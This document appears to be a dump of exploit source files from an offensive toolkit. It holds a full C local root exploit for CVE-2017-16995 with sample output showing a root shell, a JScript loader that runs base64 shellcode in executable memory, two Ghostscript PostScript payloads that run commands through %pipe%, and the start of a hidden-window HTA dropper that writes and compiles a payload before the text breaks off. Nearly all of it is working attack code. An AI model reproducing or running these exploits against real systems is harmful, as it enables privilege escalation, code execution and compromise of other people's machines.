internet@client:~/cve-2017-16995$ ./cve-2017-16995
|
||||
[.]
|
||||
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
|
||||
[.]
|
||||
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
|
||||
[.]
|
||||
[*] creating bpf map
|
||||
[*] sneaking evil bpf past the verifier
|
||||
[*] creating socketpair()
|
||||
[*] attaching bpf backdoor to socket
|
||||
[*] skbuff => ffff880038c3f500
|
||||
[*] Leaking sock struct from ffff88003af5e180
|
||||
[*] Sock->sk_rcvtimeo at offset 472
|
||||
[*] Cred structure at ffff880038704600
|
||||
[*] UID from cred structure: 1000, matches the current: 1000
|
||||
[*] hammering cred structure at ffff880038704600
|
||||
[*] credentials patched, launching shell...
|
||||
#id
|
||||
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet)
|
||||
|
||||
*/
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <linux/bpf.h>
|
||||
#include <linux/unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/personality.h>
|
||||
|
||||
char buffer[64];
|
||||
int sockets[2];
|
||||
int mapfd, progfd;
|
||||
int doredact = 0;
|
||||
|
||||
#define LOG_BUF_SIZE 65536
|
||||
#define PHYS_OFFSET 0xffff880000000000
|
||||
char bpf_log_buf[LOG_BUF_SIZE];
|
||||
|
||||
static __u64 ptr_to_u64(void *ptr)
|
||||
{
|
||||
return (__u64) (unsigned long) ptr;
|
||||
}
|
||||
|
||||
int bpf_prog_load(enum bpf_prog_type prog_type,
|
||||
const struct bpf_insn *insns, int prog_len,
|
||||
const char *license, int kern_version)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.prog_type = prog_type,
|
||||
.insns = ptr_to_u64((void *) insns),
|
||||
.insn_cnt = prog_len / sizeof(struct bpf_insn),
|
||||
.license = ptr_to_u64((void *) license),
|
||||
.log_buf = ptr_to_u64(bpf_log_buf),
|
||||
.log_size = LOG_BUF_SIZE,
|
||||
.log_level = 1,
|
||||
};
|
||||
|
||||
attr.kern_version = kern_version;
|
||||
|
||||
bpf_log_buf[0] = 0;
|
||||
|
||||
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
|
||||
int max_entries, int map_flags)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_type = map_type,
|
||||
.key_size = key_size,
|
||||
.value_size = value_size,
|
||||
.max_entries = max_entries
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_fd = fd,
|
||||
.key = ptr_to_u64(key),
|
||||
.value = ptr_to_u64(value),
|
||||
.flags = flags,
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_lookup_elem(int fd, void *key, void *value)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_fd = fd,
|
||||
.key = ptr_to_u64(key),
|
||||
.value = ptr_to_u64(value),
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
#define BPF_ALU64_IMM(OP, DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_MOV64_REG(DST, SRC) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_MOV32_REG(DST, SRC) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU | BPF_MOV | BPF_X, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_MOV64_IMM(DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_MOV32_IMM(DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU | BPF_MOV | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_LD_IMM64(DST, IMM) \
|
||||
BPF_LD_IMM64_RAW(DST, 0, IMM)
|
||||
|
||||
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_LD | BPF_DW | BPF_IMM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = (__u32) (IMM) }), \
|
||||
((struct bpf_insn) { \
|
||||
.code = 0, \
|
||||
.dst_reg = 0, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = ((__u64) (IMM)) >> 32 })
|
||||
|
||||
#ifndef BPF_PSEUDO_MAP_FD
|
||||
# define BPF_PSEUDO_MAP_FD 1
|
||||
#endif
|
||||
|
||||
#define BPF_LD_MAP_FD(DST, MAP_FD) \
|
||||
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
|
||||
|
||||
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = CODE, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_EXIT_INSN() \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_JMP | BPF_EXIT, \
|
||||
.dst_reg = 0, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_DISABLE_VERIFIER() \
|
||||
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \
|
||||
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \
|
||||
BPF_EXIT_INSN() /* } */ \
|
||||
|
||||
#define BPF_MAP_GET(idx, dst) \
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
|
||||
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
|
||||
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
|
||||
BPF_EXIT_INSN(), /* exit(0); */ \
|
||||
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
|
||||
|
||||
static int load_prog() {
|
||||
struct bpf_insn prog[] = {
|
||||
BPF_DISABLE_VERIFIER(),
|
||||
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */
|
||||
|
||||
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
|
||||
|
||||
BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */
|
||||
BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */
|
||||
BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */
|
||||
|
||||
/* store map slot address in r2 */
|
||||
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */
|
||||
BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */
|
||||
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */
|
||||
/* get fp */
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */
|
||||
/* get skbuff */
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */
|
||||
/* read */
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
/* else */
|
||||
/* write */
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
};
|
||||
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
|
||||
}
|
||||
|
||||
void info(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[.] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void msg(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[*] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void redact(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
if(doredact) {
|
||||
fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
|
||||
return;
|
||||
}
|
||||
fprintf(stdout, "[*] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void fail(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[!] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
void
|
||||
initialize() {
|
||||
info("\n");
|
||||
info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
|
||||
info("\n");
|
||||
info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
|
||||
info("\n");
|
||||
|
||||
redact("creating bpf map\n");
|
||||
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
|
||||
if (mapfd < 0) {
|
||||
fail("failed to create bpf map: '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("sneaking evil bpf past the verifier\n");
|
||||
progfd = load_prog();
|
||||
if (progfd < 0) {
|
||||
if (errno == EACCES) {
|
||||
msg("log:\n%s", bpf_log_buf);
|
||||
}
|
||||
fail("failed to load prog '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("creating socketpair()\n");
|
||||
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
|
||||
fail("failed to create socket pair '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("attaching bpf backdoor to socket\n");
|
||||
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
|
||||
fail("setsockopt '%s'\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
static void writemsg() {
|
||||
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
|
||||
if (n < 0) {
|
||||
perror("write");
|
||||
return;
|
||||
}
|
||||
if (n != sizeof(buffer)) {
|
||||
fprintf(stderr, "short write: %zd\n", n);
|
||||
}
|
||||
}
|
||||
|
||||
static void
|
||||
update_elem(int key, unsigned long value) {
|
||||
if (bpf_update_elem(mapfd, &key, &value, 0)) {
|
||||
fail("bpf_update_elem failed '%s'\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
static unsigned long
|
||||
get_value(int key) {
|
||||
unsigned long value;
|
||||
if (bpf_lookup_elem(mapfd, &key, &value)) {
|
||||
fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
static unsigned long
|
||||
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
|
||||
update_elem(0, op);
|
||||
update_elem(1, addr);
|
||||
update_elem(2, value);
|
||||
writemsg();
|
||||
return get_value(2);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_skbuff() {
|
||||
return sendcmd(1, 0, 0);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_fp() {
|
||||
return sendcmd(0, 0, 0);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
read64(unsigned long addr) {
|
||||
return sendcmd(2, addr, 0);
|
||||
}
|
||||
|
||||
void
|
||||
write64(unsigned long addr, unsigned long val) {
|
||||
(void)sendcmd(3, addr, val);
|
||||
}
|
||||
|
||||
static unsigned long find_cred() {
|
||||
uid_t uid = getuid();
|
||||
unsigned long skbuff = get_skbuff();
|
||||
/*
|
||||
* struct sk_buff {
|
||||
* [...24 byte offset...]
|
||||
* struct sock *sk;
|
||||
* };
|
||||
*
|
||||
*/
|
||||
|
||||
unsigned long sock_addr = read64(skbuff + 24);
|
||||
msg("skbuff => %llx\n", skbuff);
|
||||
msg("Leaking sock struct from %llx\n", sock_addr);
|
||||
if(sock_addr < PHYS_OFFSET){
|
||||
fail("Failed to find Sock address from sk_buff.\n");
|
||||
}
|
||||
|
||||
/*
|
||||
* scan forward for expected sk_rcvtimeo value.
|
||||
*
|
||||
* struct sock {
|
||||
* [...]
|
||||
* const struct cred *sk_peer_cred;
|
||||
* long sk_rcvtimeo;
|
||||
* };
|
||||
*/
|
||||
for (int i = 0; i < 100; i++, sock_addr += 8) {
|
||||
if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
|
||||
unsigned long cred_struct = read64(sock_addr - 8);
|
||||
if(cred_struct < PHYS_OFFSET) {
|
||||
continue;
|
||||
}
|
||||
|
||||
unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
|
||||
|
||||
if(test_uid != uid) {
|
||||
continue;
|
||||
}
|
||||
msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
|
||||
msg("Cred structure at %llx\n", cred_struct);
|
||||
msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);
|
||||
|
||||
return cred_struct;
|
||||
}
|
||||
}
|
||||
fail("failed to find sk_rcvtimeo.\n");
|
||||
}
|
||||
|
||||
static void
|
||||
hammer_cred(unsigned long addr) {
|
||||
msg("hammering cred structure at %llx\n", addr);
|
||||
#define w64(w) { write64(addr, (w)); addr += 8; }
|
||||
unsigned long val = read64(addr) & 0xFFFFFFFFUL;
|
||||
w64(val);
|
||||
w64(0); w64(0); w64(0); w64(0);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
#undef w64
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv) {
|
||||
initialize();
|
||||
hammer_cred(find_cred());
|
||||
msg("credentials patched, launching shell...\n");
|
||||
if(execl("/bin/sh", "/bin/sh", NULL)) {
|
||||
fail("exec %s\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,76 @@
|
|||
import System;
|
||||
import System.Runtime.InteropServices;
|
||||
import System.Reflection;
|
||||
import System.Reflection.Emit;
|
||||
import System.Runtime;
|
||||
import System.Text;
|
||||
|
||||
function InvokeWin32(dllName:String, returnType:Type,
|
||||
methodName:String, parameterTypes:Type[], parameters:Object[])
|
||||
{
|
||||
// Begin to build the dynamic assembly
|
||||
var domain = AppDomain.CurrentDomain;
|
||||
var name = new System.Reflection.AssemblyName('PInvokeAssembly');
|
||||
var assembly = domain.DefineDynamicAssembly(name, AssemblyBuilderAccess.Run);
|
||||
var module = assembly.DefineDynamicModule('PInvokeModule');
|
||||
var type = module.DefineType('PInvokeType',TypeAttributes.Public + TypeAttributes.BeforeFieldInit);
|
||||
|
||||
// Define the actual P/Invoke method
|
||||
var method = type.DefineMethod(methodName, MethodAttributes.Public + MethodAttributes.HideBySig + MethodAttributes.Static + MethodAttributes.PinvokeImpl, returnType, parameterTypes);
|
||||
|
||||
// Apply the P/Invoke constructor
|
||||
var ctor = System.Runtime.InteropServices.DllImportAttribute.GetConstructor([Type.GetType("System.String")]);
|
||||
var attr = new System.Reflection.Emit.CustomAttributeBuilder(ctor, [dllName]);
|
||||
method.SetCustomAttribute(attr);
|
||||
|
||||
// Create the temporary type, and invoke the method.
|
||||
var realType = type.CreateType();
|
||||
return realType.InvokeMember(methodName, BindingFlags.Public + BindingFlags.Static + BindingFlags.InvokeMethod, null, null, parameters);
|
||||
}
|
||||
|
||||
function VirtualAlloc( lpStartAddr:UInt32, size:UInt32, flAllocationType:UInt32, flProtect:UInt32)
|
||||
{
|
||||
var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32")];
|
||||
var parameters:Object[] = [lpStartAddr, size, flAllocationType, flProtect];
|
||||
|
||||
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "VirtualAlloc", parameterTypes, parameters );
|
||||
}
|
||||
|
||||
function CreateThread( lpThreadAttributes:UInt32, dwStackSize:UInt32, lpStartAddress:IntPtr, param:IntPtr, dwCreationFlags:UInt32, lpThreadId:UInt32)
|
||||
{
|
||||
var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.IntPtr"),Type.GetType("System.IntPtr"), Type.GetType("System.UInt32"), Type.GetType("System.UInt32") ];
|
||||
var parameters:Object[] = [lpThreadAttributes, dwStackSize, lpStartAddress, param, dwCreationFlags, lpThreadId ];
|
||||
|
||||
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "CreateThread", parameterTypes, parameters );
|
||||
}
|
||||
|
||||
function WaitForSingleObject( handle:IntPtr, dwMiliseconds:UInt32)
|
||||
{
|
||||
var parameterTypes:Type[] = [Type.GetType("System.IntPtr"),Type.GetType("System.UInt32")];
|
||||
var parameters:Object[] = [handle, dwMiliseconds ];
|
||||
|
||||
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "WaitForSingleObject", parameterTypes, parameters );
|
||||
}
|
||||
|
||||
function ShellCodeExec()
|
||||
{
|
||||
var MEM_COMMIT:uint = 0x1000;
|
||||
var PAGE_EXECUTE_READWRITE:uint = 0x40;
|
||||
|
||||
var shellcodestr:String = '<%= file_payload %>'
|
||||
var shellcode:Byte[] = System.Convert.FromBase64String(shellcodestr);
|
||||
var funcAddr:IntPtr = VirtualAlloc(0, UInt32(shellcode.Length),MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
|
||||
Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);
|
||||
var hThread:IntPtr = IntPtr.Zero;
|
||||
var threadId:UInt32 = 0;
|
||||
// prepare data
|
||||
var pinfo:IntPtr = IntPtr.Zero;
|
||||
// execute native code
|
||||
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, threadId);
|
||||
WaitForSingleObject(hThread, 0xFFFFFFFF);
|
||||
|
||||
}
|
||||
|
||||
ShellCodeExec();
|
|
@ -0,0 +1,9 @@
|
|||
%!PS
|
||||
userdict /setpagedevice undef
|
||||
a0
|
||||
currentpagedevice /HWResolution get 0 (metasploit) put
|
||||
{ grestore } stopped pop
|
||||
(ppmraw) selectdevice
|
||||
mark /OutputFile (%pipe%echo vulnerable > /dev/tty) currentdevice putdeviceprops
|
||||
{ showpage } stopped pop
|
||||
quit
|
|
@ -0,0 +1,81 @@
|
|||
%!PS
|
||||
% This is ghostscript bug #699687 (split out from bug #699654)
|
||||
|
||||
% ImageMagick define setpagedevice, just remove their definition. This doesn't
|
||||
% do anything if not using ImageMagick.
|
||||
userdict /setpagedevice undef
|
||||
|
||||
% function to check if we're on Linux or Windows
|
||||
/iswindows {
|
||||
% Just checking if paths contain drive
|
||||
null (w) .tempfile closefile 1 get 16#3A eq
|
||||
} def
|
||||
|
||||
% just select a papersize to initialize page device
|
||||
a0
|
||||
|
||||
% The bug is that if you can make grestore or restore fail non-fatally,
|
||||
% LockSafetyParams isn't restored properly. grestore will fail if you set crazy
|
||||
% properties in your pagedevice, like a nonsense resolution.
|
||||
%
|
||||
% Normally it would be something like [72.0 72.0], but you can't just def
|
||||
% HWResolution to something else (for example), because it's readonly:
|
||||
%
|
||||
% GS>currentpagedevice wcheck ==
|
||||
% false
|
||||
%
|
||||
% But you can just put or astore into it, because the array itself is writable:
|
||||
% GS>currentpagedevice /HWResolution get wcheck ==
|
||||
% true
|
||||
%
|
||||
% Lets just put some junk in there.
|
||||
currentpagedevice /HWResolution get 0 (foobar) put
|
||||
|
||||
% This grestore will fail, stopped just catches the error instead of aborting.
|
||||
{ grestore } stopped pop
|
||||
|
||||
% Now LockSafetyParams will be incorrectly unset, you can check like this:
|
||||
% GS>mark currentdevice getdeviceprops .dicttomark /.LockSafetyParams get == pop
|
||||
% false
|
||||
|
||||
% We can change and configure devices now, so make sure we're using one with
|
||||
% a OutputFile property.
|
||||
(ppmraw) selectdevice
|
||||
|
||||
% Check if we're on Windows or UNIX
|
||||
iswindows {
|
||||
% This is Windows, gswin32c.exe supports %pipe%, so you can just run calc.exe.
|
||||
%
|
||||
% The graphical version doesn't seem to support %pipe%, but you can create
|
||||
% arbitrary files. If something is using the api (gs32dll.dll), it may or
|
||||
% may not support %pipe%.
|
||||
|
||||
/getstartupdirwindows {
|
||||
% This figures out startup location from %TEMP% (Tested on Win10)
|
||||
(C:\\USERS\\XXXXXX~1\\STARTM~1\\PROGRAMS\\STARTUP\\)
|
||||
dup 0 null (w) .tempfile closefile 0 18 getinterval putinterval
|
||||
} def
|
||||
|
||||
% (directory) (extension) randfile (result)
|
||||
/randfile {
|
||||
% pick a random filename
|
||||
exch rand 32 string cvs concatstrings exch concatstrings
|
||||
} def
|
||||
|
||||
mark /OutputFile (%pipe%calc.exe) currentdevice putdeviceprops
|
||||
|
||||
% if you need to create files, use txtwrite like this:
|
||||
|
||||
%mark /OutputFile getstartupdirwindows (.bat) randfile
|
||||
% { (txtwrite) selectdevice } stopped pop putdeviceprops setdevice
|
||||
%0 0 moveto
|
||||
%(REM This is an exploit demo\n) show
|
||||
%(calc.exe\n) show
|
||||
} {
|
||||
% This is UNIX, just run a shell command
|
||||
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
|
||||
} ifelse
|
||||
|
||||
{ showpage } stopped pop
|
||||
|
||||
quit
|
|
@ -0,0 +1,150 @@
|
|||
<html>
|
||||
<head>
|
||||
<HTA:APPLICATION WINDOWSTATE="minimize" SHOWINTASKBAR="no" SYSMENU="no" CAPTION="no" />
|
||||
</head>
|
||||
</html>
|
||||
<script>
|
||||
window.resizeTo(1, 1);
|
||||
window.moveTo(-2000, -2000);
|
||||
// Base64 implementation found on http://www.webtoolkit.info/javascript-base64.html
|
||||
// variable names changed to make obfuscation easier
|
||||
var Base64 = {
|
||||
// private property
|
||||
_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
|
||||
|
||||
// public method for decoding
|
||||
decode : function (input) {
|
||||
var output = "";
|
||||
var chr1, chr2, chr3;
|
||||
var enc1, enc2, enc3, enc4;
|
||||
var i = 0;
|
||||
|
||||
input = input.replace(/[^A-Za-z0-9\+\/\\=]/g, "");
|
||||
|
||||
while (i < input.length) {
|
||||
|
||||
enc1 = this._keyStr.indexOf(input.charAt(i++));
|
||||
enc2 = this._keyStr.indexOf(input.charAt(i++));
|
||||
enc3 = this._keyStr.indexOf(input.charAt(i++));
|
||||
enc4 = this._keyStr.indexOf(input.charAt(i++));
|
||||
|
||||
chr1 = (enc1 << 2) | (enc2 >> 4);
|
||||
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
|
||||
chr3 = ((enc3 & 3) << 6) | enc4;
|
||||
|
||||
output = output + String.fromCharCode(chr1);
|
||||
|
||||
if (enc3 != 64) {
|
||||
output = output + String.fromCharCode(chr2);
|
||||
}
|
||||
if (enc4 != 64) {
|
||||
output = output + String.fromCharCode(chr3);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
output = Base64._utf8_decode(output);
|
||||
|
||||
return output;
|
||||
|
||||
},
|
||||
_utf8_decode : function (utftext) {
|
||||
var string = "";
|
||||
var input_idx = 0;
|
||||
var chr1 = 0;
|
||||
var chr2 = 0;
|
||||
var chr3 = 0;
|
||||
|
||||
while ( input_idx < utftext.length ) {
|
||||
|
||||
chr1 = utftext.charCodeAt(input_idx);
|
||||
|
||||
if (chr1 < 128) {
|
||||
string += String.fromCharCode(chr1);
|
||||
input_idx++;
|
||||
}
|
||||
else if((chr1 > 191) && (chr1 < 224)) {
|
||||
chr2 = utftext.charCodeAt(input_idx+1);
|
||||
string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
|
||||
input_idx += 2;
|
||||
} else {
|
||||
chr2 = utftext.charCodeAt(input_idx+1);
|
||||
chr3 = utftext.charCodeAt(input_idx+2);
|
||||
string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
|
||||
input_idx += 3;
|
||||
}
|
||||
}
|
||||
|
||||
return string;
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
decodedStr = Base64.decode("<%= jsnet_encoded %>");
|
||||
|
||||
function getTempPath()
|
||||
{
|
||||
var TemporaryFolder = 2;
|
||||
|
||||
var fso = new ActiveXObject("Scripting.FileSystemObject");
|
||||
var tempPath = fso.GetSpecialFolder(TemporaryFolder);
|
||||
|
||||
return tempPath;
|
||||
}
|
||||
|
||||
var path = getTempPath();
|
||||
|
||||
function makefile()
|
||||
{
|
||||
var fso = new ActiveXObject("Scripting.FileSystemObject");
|
||||
var thefile = fso.CreateTextFile(path + "\\\\<%= fname %>.js", true);
|
||||
|
||||
thefile.WriteLine(decodedStr);
|
||||
thefile.Close();
|
||||
}
|
||||
|
||||
makefile();
|
||||
|
||||
function findJSC()
|
||||
{
|
||||
var fso = new ActiveXObject("Scripting.FileSystemObject");
|
||||
var comPath = "C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\";
|
||||
var jscPath = "";
|
||||
|
||||
if(!fso.FolderExists(comPath))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
var frameFolder = fso.GetFolder(comPath);
|
||||
var fEnum = new Enumerator(frameFolder.SubFolders);
|
||||
|
||||
while(!fEnum.atEnd())
|
||||
{
|
||||
jscPath = fEnum.item().Path;
|
||||
|
||||
if(fso.FileExists(jscPath + "\\\\jsc.exe"))
|
||||
{
|
||||
return jscPath + "\\\\jsc.exe";
|
||||
}
|
||||
|
||||
fEnum.moveNext();
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
var comPath = findJSC();
|
||||
if(comPath)
|
||||
{
|
||||
var fso = new ActiveXObject("Scripting.FileSystemObject");
|
||||
